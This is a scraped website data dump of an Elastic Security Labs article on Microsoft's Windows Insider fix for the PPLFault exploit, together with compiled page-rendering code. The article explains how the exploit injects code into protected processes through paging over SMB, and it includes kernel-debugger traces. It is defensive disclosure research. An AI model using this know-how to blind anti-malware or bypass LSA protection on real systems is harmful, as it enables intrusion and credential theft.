Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Inside Microsoft's plan to kill PPLFault","slug":"inside-microsofts-plan-to-kill-pplfault","date":"2023-09-15","description":"In this research publication, we'll learn about upcoming improvements to the Windows Code Integrity subsystem that will make it harder for malware to tamper with Anti-Malware processes and other important security features.","image":"photo-edited-04@2x.jpg","tags":["security-research","detection-science"],"body":{"raw":"\nOn September 1, 2023, Microsoft released a new build of Windows Insider Canary, version 25941. Insider builds are pre-release versions of Windows that include experimental features that may or may not ever reach General Availability (GA). Build 25941 includes improvements to the Code Integrity (CI) subsystem that mitigate a long-standing issue that enables attackers to load unsigned code into Protected Process Light (PPL) processes.\n\nThe PPL mechanism was introduced in Windows 8.1, enabling specially-signed programs to run in such a way that they are protected from tampering and termination, even by administrative processes. The goal was to keep malware from running amok — tampering with critical system processes and terminating anti-malware applications. There is a hierarchy of PPL “levels,” with higher-privilege ones immune from tampering by lower-privilege ones, but not vice-versa. Most PPL processes are managed by Microsoft but members of the [Microsoft Virus Initiative](https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/virus-initiative-criteria?view=o365-worldwide) are allowed to run their products at the [less-trusted Anti-Malware PPL level](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-).\n\n\n\nA few core Windows components run at the highest level of PPL, called Windows Trusted Computing Base (**WinTcb-Light**). Because of the protection afforded to these components and their narrow scope of function, they are considered more trusted than most user mode code. Most of these processes (such as **csrss.exe**) and their complex kernel-mode counterparts (such as **win32k.sys**) were written decades ago under different assumptions when the kernel-user boundary was even weaker than it is today. Rather than rewrite all these components, Microsoft made these user mode processes **WinTcb-Light**, mitigating tampering and injection attacks. [Alex Ionescu](https://twitter.com/aionescu) stated it clearly in 2013:\n\n\u003eBecause the Win32k.sys developers did not expect local code injection attacks to be an issue (they require Administrator rights, after all), many of these APIs didn’t even have SEH, or had other assumptions and bugs. Perhaps most famously, one of these, [discovered by j00ru](http://j00ru.vexillium.org/?p=1393), and still unpatched, has been used as the sole basis of the Windows 8 RT jailbreak. In [Windows 8.1 RT](http://forum.xda-developers.com/showthread.php?t=2092158), this jailbreak is “fixed”, by virtue that code can no longer be injected into Csrss.exe for the attack. [Similar](http://j00ru.vexillium.org/?p=1455) Win32k.sys exploits that relied on Csrss.exe are also mitigated in this fashion.\n\nTo reduce the attack surface, Microsoft runs most of their PPL code with less privilege than **WinTcb-Light**:\n\n\n\nMicrosoft does not consider PPL to be a [security boundary](https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria), meaning they won’t prioritize security patches for code-execution vulnerabilities discovered therein, but they have historically [addressed](https://itm4n.github.io/the-end-of-ppldump/) some such [vulnerabilities](https://x.com/GabrielLandau/status/1683854578767343619?s=20) on a less-urgent basis.\n\n### Loading code into PPL processes\n\nTo load code into a PPL process, it must be signed by special certificates. This applies to both executables (process creation) and libraries (DLLs loads). For the sake of simplicity, we’ll focus on DLL loading, but the CI validation process is very similar for both. This article is focused on PPL, so we will not discuss kernel mode code integrity.\n\n[Portable Executable](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format) (PE) files come in many extensions, including EXE, DLL, SYS, OCX, CPL, and SCR. While the extension may vary, they’re all quite similar at a binary level. For a PPL process to load and execute a DLL, a few steps must be taken. Note that these steps are simplified, but should be sufficient for this article:\n\n 1. An application calls **[LoadLibrary](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw)**, passing the path to the DLL to be loaded.\n 2. **LoadLibrary** calls into the loader within NTDLL (e.g. **ntdll!LdrLoadDll**), which opens a handle to the file using an API such as **NtCreateFile**.\n 3. The loader then passes this file handle to **[NtCreateSection](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntcreatesection)**, asking the kernel memory manager to create a [section object](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views) which describes how the file is to be mapped into memory. A section object is also known as a [file mapping object](https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping) in higher abstraction layers (such as Win32), but since we’re focused on the kernel, we’ll keep calling them section objects. The Windows loader always uses a specific type of section called an [executable image](https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/executable-images) (aka [SEC_IMAGE](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga)), which can only be created from PE files.\n 4. Before returning the section object to user mode, the memory manager checks the digital signature on the file to ensure it meets the requirements for the given level of PPL. The internal memory manager function **MiValidateSectionCreate** relies on the Code Integrity module **ci.dll** to handle the requisite cryptography and [PKI](https://en.wikipedia.org/wiki/Public_key_infrastructure) policy.\n 5. The memory manager restructures the PE so that it can be mapped into memory and executed. This step involves creating multiple subsections, one for each of the different portions of the PE file that must be mapped differently. For example, global variables may be read-write, whereas the code may be execute-read. To achieve this granularity, the resulting regions of memory must have distinct [page table entries](https://en.wikipedia.org/wiki/Page_table) with different page permissions. Other changes may be applied here, such as applying relocations, but they are out of scope for this research publication.\n 6. The kernel returns the new section handle to the loader in NTDLL.\n 7. The NTDLL loader then asks the kernel memory manager to map a [view of the section](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views) into the process address space via the **[NtMapViewOfSection](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwmapviewofsection)** syscall. The memory manager complies.\n 8. Once the view is mapped, the loader finishes the processing required to create a functional DLL in memory. The details of this are out of scope.\n\n### Page hashes\n\nIn the above steps, we can see that a PE’s digital signature is validated during section creation, but there is another way that code can be loaded into the address space of a PPL process - [paging](https://en.wikipedia.org/wiki/Memory_paging).\n\nUnmodified pages belonging to file-backed sections (including **SEC_IMAGE**) can be quickly discarded whenever the system is low on memory because there’s a copy of that exact data on disk. If the page is later touched, the CPU will issue a page fault, and the memory manager’s page fault handler will re-read that data from disk. Because **SEC_IMAGE** sections can only be created from immutable file data, and the signature has already been verified, the data is considered trusted.\n\nPE files may be optionally built with the [**/INTEGRITYCHECK**](https://learn.microsoft.com/en-us/cpp/build/reference/integritycheck-require-signature-check?view=msvc-170) flag. This sets a flag in the PE header that, among other things, instructs the memory manager to create and store hashes of every page (aka “page hashes”) of that PE as sections are created from it. After reading a page from disk, the page fault handler calls **MiValidateInPage** to verify that the page hash hasn’t changed since the signature was initially verified. If the page hash has changed, the handler will raise an exception. This feature is useful for detecting [bit rot](https://en.wikipedia.org/wiki/Data_degradation) in the page file and a few types of attacks. Beyond **/INTEGRITYCHECK** images, page hashes are [also enabled](https://twitter.com/DavidLinsley11/status/1190810926762450944) for all modules loaded into full Protected Processes (not PPL), and drivers loaded into the kernel.\n\n_**Note:** It is possible to create a **SEC_IMAGE** section from a file with [user-writable references](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmdoesfilehaveuserwritablereferences), a tactic employed by techniques like [Process Herpaderping](https://jxy-s.github.io/herpaderping/). The existence of user-writable references means that a file could be modified after the image section is created. When a program attempts to use such a mutable file, the memory manager first copies the file’s contents to the page file, creating an immutable backing for the image section to prevent tampering. In this case, the section will not be backed by the original file, but instead by the page file. See [this Microsoft article](https://www.microsoft.com/en-us/security/blog/2022/06/30/using-process-creation-properties-to-catch-evasion-techniques/) for more information about user-writable references._\n\n### Exploitation\n\nIn September 2022, Gabriel Landau from Elastic Security filed VULN-074311 with MSRC, notifying them of two [zero-day](https://www.trendmicro.com/vinfo/us/security/definition/zero-day-vulnerability) vulnerabilities in Windows: one admin-to-PPL and one PPL-to-kernel. Two exploits for these vulnerabilities were provided named [PPLFault](https://github.com/gabriellandau/PPLFault) and [GodFault](https://github.com/gabriellandau/PPLFault#godfault), respectively, along with their source code. These exploits allow malware to [bypass LSA protection](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection), terminate or blind EDR software, and modify kernel memory to tamper with core OS behavior - all without the use of any vulnerable drivers. See [this article](https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need) for more details on their impact.\n\nThe admin-to-PPL exploit PPLFault leverages the fact that page hashes are not validated for PPL and employs the [Cloud Filter API](https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/) to violate immutability assumptions of files backing **SEC_IMAGE** sections. PPLFault uses paging to inject code into a DLL loaded within a PPL process running as **WinTcb-Light**, the most privileged form of PPL. The PPL-to-kernel exploit GodFault first uses PPLFault to get **WinTcb-Light** code execution, then exploits the kernel’s trust of **WinTcb-Light** processes to modify kernel memory, granting itself full read-write access to physical memory.\n\nThough MSRC [declined](https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need) to take any action on these vulnerabilities, the Windows Defender team has [shown interest](https://twitter.com/PhilipTsukerman/status/1683861340207607813?s=20). PPLFault and GodFault were released at [Black Hat Asia](https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052) in May 2023 alongside a mitigation to stop these exploits called [NoFault](https://github.com/gabriellandau/PPLFault/tree/main/NoFault).\n\n### Mitigation\nOn September 1, 2023, Microsoft released build 25941 of Windows Insider Canary. This build adds a new check to the memory manager function **MiValidateSectionCreate** which enables page hashes for all images that reside on remote devices. Comparing 25941 against its predecessor 25936, we can see the following two new basic blocks:\n\n\n\nDecompiled into C, the new code looks like this:\n\n\n\nWhen PPLFault is run, Windows Error Reporting generates an event log indicating a failure during a paging operation:\n\n\n\nPPLFault requires its payload DLL to be loaded over the SMB network redirector to achieve the desired paging behavior. By forcing the use of page hashes for such network-hosted DLLs, the exploit can no longer inject its payload, so the vulnerability is fixed. The aforementioned [NoFault](https://github.com/gabriellandau/PPLFault/tree/main/NoFault) mitigation released at Black Hat also targets network redirectors, blocking such DLL loads into PPL entirely. Elastic Defend 8.9.0 and later block PPLFault - please update if you haven’t already.\n\nTracking down the exact point of failure in a kernel debugger, we can see the page fault handler invoking CI to validate page hashes, which fails with **STATUS_INVALID_IMAGE_HASH (0xC0000428)**. This is later converted to **STATUS_IN_PAGE_ERROR (0xC0000006)**.\n\n```\n0: kd\u003e g\nBreakpoint 1 hit\nCI!CiValidateImagePages+0x360:\n0010:fffff805`725028b4 b8280400c0 mov eax,0C0000428h\n7: kd\u003e k\n # Child-SP RetAddr Call Site\n00 fffff508`1b4a6dc0 fffff805`72502487 CI!CiValidateImagePages+0x360\n01 fffff508`1b4a6f90 fffff805`6f2f1bbd CI!CiValidateImageData+0x27\n02 fffff508`1b4a6fd0 fffff805`6ee35de5 nt!SeValidateImageData+0x2d\n03 fffff508`1b4a7020 fffff805`6efa167b nt!MiValidateInPage+0x305\n04 fffff508`1b4a70d0 fffff805`6ef9fffe nt!MiWaitForInPageComplete+0x31b\n05 fffff508`1b4a71d0 fffff805`6ef68692 nt!MiIssueHardFault+0x3fe\n06 fffff508`1b4a72e0 fffff805`6f0a784b nt!MmAccessFault+0x3b2\n07 fffff508`1b4a7460 00007fff`ccf71500 nt!KiPageFault+0x38b\n08 000000b6`776bf1b8 00007fff`d5500ac0 0x00007fff`ccf71500\n09 000000b6`776bf1c0 00000000`00000000 0x00007fff`d5500ac0\n7: kd\u003e !error C0000428\nError code: (NTSTATUS) 0xc0000428 (3221226536) - Windows cannot verify the \n digital signature for this file. A recent hardware or software change \n might have installed a file that is signed incorrectly or damaged, or \n that might be malicious software from an unknown source.\n```\n\n### Comparing behavior\n\nWith the fix introduced in build 25941, the final vulnerable build is 25936. Running PPLFault in both builds under a kernel debugger, we can use the following WinDbg command to see the files for which CI is computing page hashes:\n\n```\nbp /w \"\u0026CI!CipValidatePageHash == @rcx\" CI!CipValidateImageHash \n \"dt _FILE_OBJECT @r8 FileName; g\"\n```\n\nThis command generates the following WinDbg output for build 25936, before the fix:\n\n\n\nHere is the WinDbg output for build 25941, which includes the fix:\n\n\n\n### Conclusion\n\nDespite taking [longer than it perhaps should](https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need), it's exciting to see Microsoft taking steps to defend PPL processes (including Anti-Malware) from malware running as admin, and users will benefit if this improvement reaches GA soon. Many features in Insider, even security features, are not available in (and may never reach) GA. Microsoft is very conservative when it comes to changes with potential stability, compatibility, or performance risk; memory manager changes are among the risker types. For example, the PreviousMode kernel exploit mitigation [spotted in Insider last November](https://twitter.com/GabrielLandau/status/1597001955909697536?s=20) still hasn’t reached GA, even after _at least_ 10 months.\n\n_Special thanks to [Grzegorz Tworek](https://twitter.com/0gtweet) for his help reverse engineering some kernel functions._","code":"var Component=(()=\u003e{var d=Object.create;var r=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of p(e))!u.call(t,a)\u0026\u0026a!==n\u0026\u0026r(t,a,{get:()=\u003ee[a],enumerable:!(o=f(e,a))||o.enumerable});return t};var b=(t,e,n)=\u003e(n=t!=null?d(m(t)):{},s(e||!t||!t.__esModule?r(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(r({},\"__esModule\",{value:!0}),t);var h=g((C,l)=\u003e{l.exports=_jsx_runtime});var L={};w(L,{default:()=\u003ek,frontmatter:()=\u003ev});var i=b(h()),v={title:\"Inside Microsoft's plan to kill PPLFault\",slug:\"inside-microsofts-plan-to-kill-pplfault\",date:\"2023-09-15\",description:\"In this research publication, we'll learn about upcoming improvements to the Windows Code Integrity subsystem that will make it harder for malware to tamper with Anti-Malware processes and other important security features.\",author:[{slug:\"gabriel-landau\"}],image:\"photo-edited-04@2x.jpg\",category:[{slug:\"security-research\"}],tags:[\"security-research\",\"detection-science\"]};function c(t){let e=Object.assign({p:\"p\",a:\"a\",img:\"img\",strong:\"strong\",blockquote:\"blockquote\",h3:\"h3\",ol:\"ol\",li:\"li\",em:\"em\",pre:\"pre\",code:\"code\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.p,{children:\"On September 1, 2023, Microsoft released a new build of Windows Insider Canary, version 25941. Insider builds are pre-release versions of Windows that include experimental features that may or may not ever reach General Availability (GA). Build 25941 includes improvements to the Code Integrity (CI) subsystem that mitigate a long-standing issue that enables attackers to load unsigned code into Protected Process Light (PPL) processes.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The PPL mechanism was introduced in Windows 8.1, enabling specially-signed programs to run in such a way that they are protected from tampering and termination, even by administrative processes. The goal was to keep malware from running amok \\u2014 tampering with critical system processes and terminating anti-malware applications. There is a hierarchy of PPL \\u201Clevels,\\u201D with higher-privilege ones immune from tampering by lower-privilege ones, but not vice-versa. Most PPL processes are managed by Microsoft but members of the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/virus-initiative-criteria?view=o365-worldwide\",rel:\"nofollow\",children:\"Microsoft Virus Initiative\"}),\" are allowed to run their products at the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-\",rel:\"nofollow\",children:\"less-trusted Anti-Malware PPL level\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/inside-microsofts-plan-to-kill-pplfault/PPL-Table.jpg\",alt:\"A simplified diagram of the heirarchy of PPL levels\",width:\"665\",height:\"345\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"A few core Windows components run at the highest level of PPL, called Windows Trusted Computing Base (\",(0,i.jsx)(e.strong,{children:\"WinTcb-Light\"}),\"). Because of the protection afforded to these components and their narrow scope of function, they are considered more trusted than most user mode code. Most of these processes (such as \",(0,i.jsx)(e.strong,{children:\"csrss.exe\"}),\") and their complex kernel-mode counterparts (such as \",(0,i.jsx)(e.strong,{children:\"win32k.sys\"}),\") were written decades ago under different assumptions when the kernel-user boundary was even weaker than it is today. Rather than rewrite all these components, Microsoft made these user mode processes \",(0,i.jsx)(e.strong,{children:\"WinTcb-Light\"}),\", mitigating tampering and injection attacks. \",(0,i.jsx)(e.a,{href:\"https://twitter.com/aionescu\",rel:\"nofollow\",children:\"Alex Ionescu\"}),\" stated it clearly in 2013:\"]}),`\n`,(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsxs)(e.p,{children:[\"Because the Win32k.sys developers did not expect local code injection attacks to be an issue (they require Administrator rights, after all), many of these APIs didn\\u2019t even have SEH, or had other assumptions and bugs. Perhaps most famously, one of these, \",(0,i.jsx)(e.a,{href:\"http://j00ru.vexillium.org/?p=1393\",rel:\"nofollow\",children:\"discovered by j00ru\"}),\", and still unpatched, has been used as the sole basis of the Windows 8 RT jailbreak. In \",(0,i.jsx)(e.a,{href:\"http://forum.xda-developers.com/showthread.php?t=2092158\",rel:\"nofollow\",children:\"Windows 8.1 RT\"}),\", this jailbreak is \\u201Cfixed\\u201D, by virtue that code can no longer be injected into Csrss.exe for the attack. \",(0,i.jsx)(e.a,{href:\"http://j00ru.vexillium.org/?p=1455\",rel:\"nofollow\",children:\"Similar\"}),\" Win32k.sys exploits that relied on Csrss.exe are also mitigated in this fashion.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"To reduce the attack surface, Microsoft runs most of their PPL code with less privilege than \",(0,i.jsx)(e.strong,{children:\"WinTcb-Light\"}),\":\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/inside-microsofts-plan-to-kill-pplfault/image4.png\",alt:`APPL processes in Windows 11 22H2, as seen in Process Explorer\n`,width:\"669\",height:\"477\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Microsoft does not consider PPL to be a \",(0,i.jsx)(e.a,{href:\"https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria\",rel:\"nofollow\",children:\"security boundary\"}),\", meaning they won\\u2019t prioritize security patches for code-execution vulnerabilities discovered therein, but they have historically \",(0,i.jsx)(e.a,{href:\"https://itm4n.github.io/the-end-of-ppldump/\",rel:\"nofollow\",children:\"addressed\"}),\" some such \",(0,i.jsx)(e.a,{href:\"https://x.com/GabrielLandau/status/1683854578767343619?s=20\",rel:\"nofollow\",children:\"vulnerabilities\"}),\" on a less-urgent basis.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"loading-code-into-ppl-processes\",children:\"Loading code into PPL processes\"}),`\n`,(0,i.jsx)(e.p,{children:\"To load code into a PPL process, it must be signed by special certificates. This applies to both executables (process creation) and libraries (DLLs loads). For the sake of simplicity, we\\u2019ll focus on DLL loading, but the CI validation process is very similar for both. This article is focused on PPL, so we will not discuss kernel mode code integrity.\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/debug/pe-format\",rel:\"nofollow\",children:\"Portable Executable\"}),\" (PE) files come in many extensions, including EXE, DLL, SYS, OCX, CPL, and SCR. While the extension may vary, they\\u2019re all quite similar at a binary level. For a PPL process to load and execute a DLL, a few steps must be taken. Note that these steps are simplified, but should be sufficient for this article:\"]}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"An application calls \",(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw\",rel:\"nofollow\",children:\"LoadLibrary\"})}),\", passing the path to the DLL to be loaded.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"LoadLibrary\"}),\" calls into the loader within NTDLL (e.g. \",(0,i.jsx)(e.strong,{children:\"ntdll!LdrLoadDll\"}),\"), which opens a handle to the file using an API such as \",(0,i.jsx)(e.strong,{children:\"NtCreateFile\"}),\".\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The loader then passes this file handle to \",(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntcreatesection\",rel:\"nofollow\",children:\"NtCreateSection\"})}),\", asking the kernel memory manager to create a \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views\",rel:\"nofollow\",children:\"section object\"}),\" which describes how the file is to be mapped into memory. A section object is also known as a \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping\",rel:\"nofollow\",children:\"file mapping object\"}),\" in higher abstraction layers (such as Win32), but since we\\u2019re focused on the kernel, we\\u2019ll keep calling them section objects. The Windows loader always uses a specific type of section called an \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/executable-images\",rel:\"nofollow\",children:\"executable image\"}),\" (aka \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga\",rel:\"nofollow\",children:\"SEC_IMAGE\"}),\"), which can only be created from PE files.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Before returning the section object to user mode, the memory manager checks the digital signature on the file to ensure it meets the requirements for the given level of PPL. The internal memory manager function \",(0,i.jsx)(e.strong,{children:\"MiValidateSectionCreate\"}),\" relies on the Code Integrity module \",(0,i.jsx)(e.strong,{children:\"ci.dll\"}),\" to handle the requisite cryptography and \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Public_key_infrastructure\",rel:\"nofollow\",children:\"PKI\"}),\" policy.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The memory manager restructures the PE so that it can be mapped into memory and executed. This step involves creating multiple subsections, one for each of the different portions of the PE file that must be mapped differently. For example, global variables may be read-write, whereas the code may be execute-read. To achieve this granularity, the resulting regions of memory must have distinct \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Page_table\",rel:\"nofollow\",children:\"page table entries\"}),\" with different page permissions. Other changes may be applied here, such as applying relocations, but they are out of scope for this research publication.\"]}),`\n`,(0,i.jsx)(e.li,{children:\"The kernel returns the new section handle to the loader in NTDLL.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"The NTDLL loader then asks the kernel memory manager to map a \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views\",rel:\"nofollow\",children:\"view of the section\"}),\" into the process address space via the \",(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwmapviewofsection\",rel:\"nofollow\",children:\"NtMapViewOfSection\"})}),\" syscall. The memory manager complies.\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Once the view is mapped, the loader finishes the processing required to create a functional DLL in memory. The details of this are out of scope.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"page-hashes\",children:\"Page hashes\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In the above steps, we can see that a PE\\u2019s digital signature is validated during section creation, but there is another way that code can be loaded into the address space of a PPL process - \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Memory_paging\",rel:\"nofollow\",children:\"paging\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Unmodified pages belonging to file-backed sections (including \",(0,i.jsx)(e.strong,{children:\"SEC_IMAGE\"}),\") can be quickly discarded whenever the system is low on memory because there\\u2019s a copy of that exact data on disk. If the page is later touched, the CPU will issue a page fault, and the memory manager\\u2019s page fault handler will re-read that data from disk. Because \",(0,i.jsx)(e.strong,{children:\"SEC_IMAGE\"}),\" sections can only be created from immutable file data, and the signature has already been verified, the data is considered trusted.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"PE files may be optionally built with the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/cpp/build/reference/integritycheck-require-signature-check?view=msvc-170\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"/INTEGRITYCHECK\"})}),\" flag. This sets a flag in the PE header that, among other things, instructs the memory manager to create and store hashes of every page (aka \\u201Cpage hashes\\u201D) of that PE as sections are created from it. After reading a page from disk, the page fault handler calls \",(0,i.jsx)(e.strong,{children:\"MiValidateInPage\"}),\" to verify that the page hash hasn\\u2019t changed since the signature was initially verified. If the page hash has changed, the handler will raise an exception. This feature is useful for detecting \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Data_degradation\",rel:\"nofollow\",children:\"bit rot\"}),\" in the page file and a few types of attacks. Beyond \",(0,i.jsx)(e.strong,{children:\"/INTEGRITYCHECK\"}),\" images, page hashes are \",(0,i.jsx)(e.a,{href:\"https://twitter.com/DavidLinsley11/status/1190810926762450944\",rel:\"nofollow\",children:\"also enabled\"}),\" for all modules loaded into full Protected Processes (not PPL), and drivers loaded into the kernel.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsxs)(e.em,{children:[(0,i.jsx)(e.strong,{children:\"Note:\"}),\" It is possible to create a \",(0,i.jsx)(e.strong,{children:\"SEC_IMAGE\"}),\" section from a file with \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmdoesfilehaveuserwritablereferences\",rel:\"nofollow\",children:\"user-writable references\"}),\", a tactic employed by techniques like \",(0,i.jsx)(e.a,{href:\"https://jxy-s.github.io/herpaderping/\",rel:\"nofollow\",children:\"Process Herpaderping\"}),\". The existence of user-writable references means that a file could be modified after the image section is created. When a program attempts to use such a mutable file, the memory manager first copies the file\\u2019s contents to the page file, creating an immutable backing for the image section to prevent tampering. In this case, the section will not be backed by the original file, but instead by the page file. See \",(0,i.jsx)(e.a,{href:\"https://www.microsoft.com/en-us/security/blog/2022/06/30/using-process-creation-properties-to-catch-evasion-techniques/\",rel:\"nofollow\",children:\"this Microsoft article\"}),\" for more information about user-writable references.\"]})}),`\n`,(0,i.jsx)(e.h3,{id:\"exploitation\",children:\"Exploitation\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In September 2022, Gabriel Landau from Elastic Security filed VULN-074311 with MSRC, notifying them of two 